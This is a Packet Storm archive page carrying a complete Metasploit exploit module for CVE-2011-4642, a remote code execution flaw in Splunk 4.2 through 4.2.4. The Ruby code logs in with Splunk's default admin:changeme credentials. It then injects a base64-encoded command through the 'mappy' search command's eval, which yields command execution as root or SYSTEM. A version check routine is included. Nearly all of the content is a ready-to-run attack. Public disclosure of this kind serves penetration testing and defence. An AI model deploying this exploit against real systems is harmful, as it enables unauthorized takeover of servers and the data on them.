exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Splunk Search Remote Code Execution

Splunk Search Remote Code Execution
Posted Dec 23, 2011
Authored by Gary O'Leary-Steele, juan vazquez | Site metasploit.com

This Metasploit module abuses a command execution vulnerability within the web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists within the 'mappy' search command which allows to run python code. To exploit this vulnerability a valid Splunk user with the admin role is required. Unfortunately, Splunk uses a default credential of 'admin:changeme' for admin access, which is used to leverage our attack. The Splunk Web interface runs as SYSTEM on Windows and as root on Linux by default.

tags | exploit, web, root, python
systems | linux, windows
advisories | CVE-2011-4642, OSVDB-77695
SHA-256 | 4cec15e9c8252677e5cd1bb453f1bd43e0c2eb409d8162a5ce458bb290116509

Splunk Search Remote Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Splunk Search Remote Code Execution',
'Description' => %q{
This module abuses a command execution vulnerability within the
web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists
within the 'mappy' search command which allows to run python code.
To exploit this vulnerability a valid Splunk user with the admin
role is required. Unfortunately, Splunk uses a default credential of
'admin:changeme' for admin access, which is used to leverage our attack.

The Splunk Web interface runs as SYSTEM on Windows and as root
on Linux by default.
},
'Author' =>
[
"Gary O'Leary-Steele", # Vulnerability discovery and exploit
"juan vazquez" # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '77695' ],
[ 'BID', '51061' ],
[ 'CVE', '2011-4642' ],
[ 'URL', 'https://www.splunk.com/view/SP-CAAAGMM' ],
[ 'URL', 'https://www.sec-1.com/blog/?p=233' ],
[ 'URL', 'https://www.sec-1.com/blog/wp-content/uploads/2011/12/Attacking_Splunk_Release.pdf' ],
[ 'URL', 'https://www.sec-1.com/blog/wp-content/uploads/2011/12/splunkexploit.zip' ]
],
'Payload' =>
{
'Space' => 1024,
'Badchars' => '',
'DisableNops' => true
},
'Targets' =>
[
[
'Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win', 'linux']
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 12 2011'))

register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ])
], self.class)
end

def exploit
@username = datastore['USERNAME']
@password = datastore['PASSWORD']
@auth_cookies = ''
p = payload.encoded
print_status("Using command: #{p}")
cmd = Rex::Text.encode_base64(p)

print_status("Attempting to login...")
do_login

send_request_cgi(
{
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => @auth_cookies,
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Session' => @auth_cookies.split("=")[1]
},
'vars_post' =>
{
'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")",
'status_buckets' => "300",
'earliest_time' => "0",
'latest_time' => ""
}
}, 25)
handler
end

def check
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)

if res.body =~ /Splunk Inc\. Splunk 4\.[0-2]\.[0-4] build [\d+]/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def do_login
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)

cval = ''
uid = ''
session_id_port =
session_id = ''
if res and res.code == 200
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
uid = v.split('=')[1]
elsif v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
else
raise RuntimeError, "Unable to get session cookies"
end

res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
'vars_post' =>
{
'cval' => cval,
'username' => @username,
'password' => @password
}
}, 25)

if not res or res.code != 303
raise RuntimeError, "Unable to authenticate"
else
session_id_port = ''
session_id = ''
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
@auth_cookies = "#{session_id_port}=#{session_id}"
end

end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close